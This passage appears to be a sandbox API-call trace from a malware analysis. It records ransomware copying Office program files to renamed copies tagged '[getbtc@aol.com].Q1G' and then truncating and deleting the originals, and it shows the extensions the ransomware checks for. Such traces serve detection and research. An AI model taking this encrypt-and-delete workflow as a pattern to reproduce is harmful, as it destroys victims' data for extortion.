Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.425] lstrlenW (lpString=".doc") returned 4 [0252.425] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.425] lstrlenW (lpString=".docx") returned 5 [0252.425] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.425] lstrlenW (lpString=".pdf") returned 4 [0252.425] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.425] lstrlenW (lpString=".xls") returned 4 [0252.425] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".xlsx") returned 5 [0252.426] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.426] lstrlenW (lpString=".ppt") returned 4 [0252.426] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.426] lstrlenW (lpString=".zip") returned 4 [0252.426] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".rar") returned 4 [0252.426] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".bz2") returned 4 [0252.426] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".7z") returned 3 [0252.426] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.426] lstrlenW (lpString=".dbf") returned 4 [0252.426] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.426] lstrlenW (lpString=".1cd") returned 4 [0252.426] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.426] lstrlenW (lpString=".jpg") returned 4 [0252.426] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.426] lstrlenW (lpString=".doc") returned 4 [0252.426] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".docx") returned 5 [0252.426] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.426] lstrlenW (lpString=".pdf") returned 4 [0252.426] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".xls") returned 4 [0252.426] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.426] lstrlenW (lpString=".xlsx") returned 5 [0252.426] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.426] lstrlenW (lpString=".ppt") returned 4 [0252.426] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.427] lstrlenW (lpString=".zip") returned 4 [0252.427] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.427] lstrlenW (lpString=".rar") returned 4 [0252.427] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.427] lstrlenW (lpString=".bz2") returned 4 [0252.427] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.427] lstrlenW (lpString=".7z") returned 3 [0252.427] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.427] lstrlenW (lpString=".dbf") returned 4 [0252.427] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.427] lstrlenW (lpString=".1cd") returned 4 [0252.427] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.427] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.IDX_DLL") returned 67 [0252.427] lstrlenW (lpString=".jpg") returned 4 [0252.427] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.427] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0252.427] lstrlenW (lpString="OUTLLIBR.REST.IDX_DLL") returned 21 [0252.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0252.428] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=290688) returned 1 [0252.428] CloseHandle (hObject=0x3b4) returned 1 [0252.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 0x20 [0252.428] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0252.428] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.428] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.429] GetLastError () returned 0x0 [0252.429] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x46f80, lpOverlapped=0x0) returned 1 [0252.581] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x46f90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x46f90, lpOverlapped=0x0) returned 1 [0252.587] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.587] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0252.587] SetEndOfFile (hFile=0x39c) returned 1 [0252.587] CloseHandle (hObject=0x39c) returned 1 [0252.587] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.587] SetEndOfFile (hFile=0x3b4) returned 1 [0252.594] CloseHandle (hObject=0x3b4) returned 1 [0252.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll")) returned 1 [0252.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.595] lstrlenW (lpString=".doc") returned 4 [0252.595] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString=".docx") returned 5 [0252.595] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.595] lstrlenW (lpString=".pdf") returned 4 [0252.595] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString=".xls") returned 4 [0252.595] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString=".xlsx") returned 5 [0252.595] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.595] lstrlenW (lpString=".ppt") returned 4 [0252.595] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.595] lstrlenW (lpString=".zip") returned 4 [0252.595] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString=".rar") returned 4 [0252.595] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString=".bz2") returned 4 [0252.595] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString=".7z") returned 3 [0252.595] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.595] lstrlenW (lpString=".dbf") returned 4 [0252.595] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.595] lstrlenW (lpString=".1cd") returned 4 [0252.595] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.595] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.595] lstrlenW (lpString=".jpg") returned 4 [0252.595] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.596] lstrlenW (lpString=".doc") returned 4 [0252.596] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString=".docx") returned 5 [0252.596] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.596] lstrlenW (lpString=".pdf") returned 4 [0252.596] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString=".xls") returned 4 [0252.596] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString=".xlsx") returned 5 [0252.596] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.596] lstrlenW (lpString=".ppt") returned 4 [0252.596] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.596] lstrlenW (lpString=".zip") returned 4 [0252.596] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString=".rar") returned 4 [0252.596] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString=".bz2") returned 4 [0252.596] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString=".7z") returned 3 [0252.596] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.596] lstrlenW (lpString=".dbf") returned 4 [0252.596] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.596] lstrlenW (lpString=".1cd") returned 4 [0252.596] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL") returned 69 [0252.596] lstrlenW (lpString=".jpg") returned 4 [0252.596] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.596] lstrcmpiW (lpString1=".HOL", lpString2=".Q1G") returned -1 [0252.597] lstrlenW (lpString="OUTLOOK.HOL") returned 11 [0252.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0252.597] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1287548) returned 1 [0252.597] CloseHandle (hObject=0x3b4) returned 1 [0252.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 0x20 [0252.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0252.597] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.598] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0252.598] GetLastError () returned 0x0 [0252.598] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0252.639] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0252.657] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x3a58c, lpOverlapped=0x0) returned 1 [0252.741] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x3a590, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x3a590, lpOverlapped=0x0) returned 1 [0252.747] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.747] WriteFile (in: hFile=0x39c, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0252.747] SetEndOfFile (hFile=0x39c) returned 1 [0253.116] CloseHandle (hObject=0x39c) returned 1 [0253.238] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.238] SetEndOfFile (hFile=0x3b4) returned 1 [0253.266] CloseHandle (hObject=0x3b4) returned 1 [0253.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol")) returned 1 [0253.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.365] lstrlenW (lpString=".doc") returned 4 [0253.365] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0253.365] lstrlenW (lpString=".docx") returned 5 [0253.365] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0253.365] lstrlenW (lpString=".pdf") returned 4 [0253.365] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0253.365] lstrlenW (lpString=".xls") returned 4 [0253.365] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0253.365] lstrlenW (lpString=".xlsx") returned 5 [0253.365] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0253.365] lstrlenW (lpString=".ppt") returned 4 [0253.365] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0253.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.365] lstrlenW (lpString=".zip") returned 4 [0253.365] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0253.365] lstrlenW (lpString=".rar") returned 4 [0253.365] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0253.365] lstrlenW (lpString=".bz2") returned 4 [0253.365] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0253.365] lstrlenW (lpString=".7z") returned 3 [0253.365] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0253.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.365] lstrlenW (lpString=".dbf") returned 4 [0253.365] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0253.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.365] lstrlenW (lpString=".1cd") returned 4 [0253.365] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString=".jpg") returned 4 [0253.366] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString=".doc") returned 4 [0253.366] lstrcmpiW (lpString1=".doc", lpString2=".HOL") returned -1 [0253.366] lstrlenW (lpString=".docx") returned 5 [0253.366] lstrcmpiW (lpString1=".docx", lpString2="K.HOL") returned -1 [0253.366] lstrlenW (lpString=".pdf") returned 4 [0253.366] lstrcmpiW (lpString1=".pdf", lpString2=".HOL") returned 1 [0253.366] lstrlenW (lpString=".xls") returned 4 [0253.366] lstrcmpiW (lpString1=".xls", lpString2=".HOL") returned 1 [0253.366] lstrlenW (lpString=".xlsx") returned 5 [0253.366] lstrcmpiW (lpString1=".xlsx", lpString2="K.HOL") returned -1 [0253.366] lstrlenW (lpString=".ppt") returned 4 [0253.366] lstrcmpiW (lpString1=".ppt", lpString2=".HOL") returned 1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString=".zip") returned 4 [0253.366] lstrcmpiW (lpString1=".zip", lpString2=".HOL") returned 1 [0253.366] lstrlenW (lpString=".rar") returned 4 [0253.366] lstrcmpiW (lpString1=".rar", lpString2=".HOL") returned 1 [0253.366] lstrlenW (lpString=".bz2") returned 4 [0253.366] lstrcmpiW (lpString1=".bz2", lpString2=".HOL") returned -1 [0253.366] lstrlenW (lpString=".7z") returned 3 [0253.366] lstrcmpiW (lpString1=".7z", lpString2="HOL") returned -1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString=".dbf") returned 4 [0253.366] lstrcmpiW (lpString1=".dbf", lpString2=".HOL") returned -1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString=".1cd") returned 4 [0253.366] lstrcmpiW (lpString1=".1cd", lpString2=".HOL") returned -1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL") returned 59 [0253.366] lstrlenW (lpString=".jpg") returned 4 [0253.366] lstrcmpiW (lpString1=".jpg", lpString2=".HOL") returned 1 [0253.367] lstrcmpiW (lpString1=".VRD", lpString2=".Q1G") returned 1 [0253.367] lstrlenW (lpString="PIPELINE.VRD") returned 12 [0253.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0253.503] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1920) returned 1 [0253.503] CloseHandle (hObject=0x398) returned 1 [0253.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 0x20 [0253.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0253.569] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.569] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0253.570] GetLastError () returned 0x0 [0253.570] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x780, lpOverlapped=0x0) returned 1 [0253.610] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x790, lpOverlapped=0x0) returned 1 [0253.611] ReadFile (in: hFile=0x3a0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.611] WriteFile (in: hFile=0x3b8, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xec, lpOverlapped=0x0) returned 1 [0253.611] SetEndOfFile (hFile=0x3b8) returned 1 [0253.611] CloseHandle (hObject=0x3b8) returned 1 [0253.611] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.611] SetEndOfFile (hFile=0x3a0) returned 1 [0253.617] CloseHandle (hObject=0x3a0) returned 1 [0253.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.636] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pipeline.vrd")) returned 1 [0253.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.648] lstrlenW (lpString=".doc") returned 4 [0253.648] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0253.648] lstrlenW (lpString=".docx") returned 5 [0253.648] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0253.648] lstrlenW 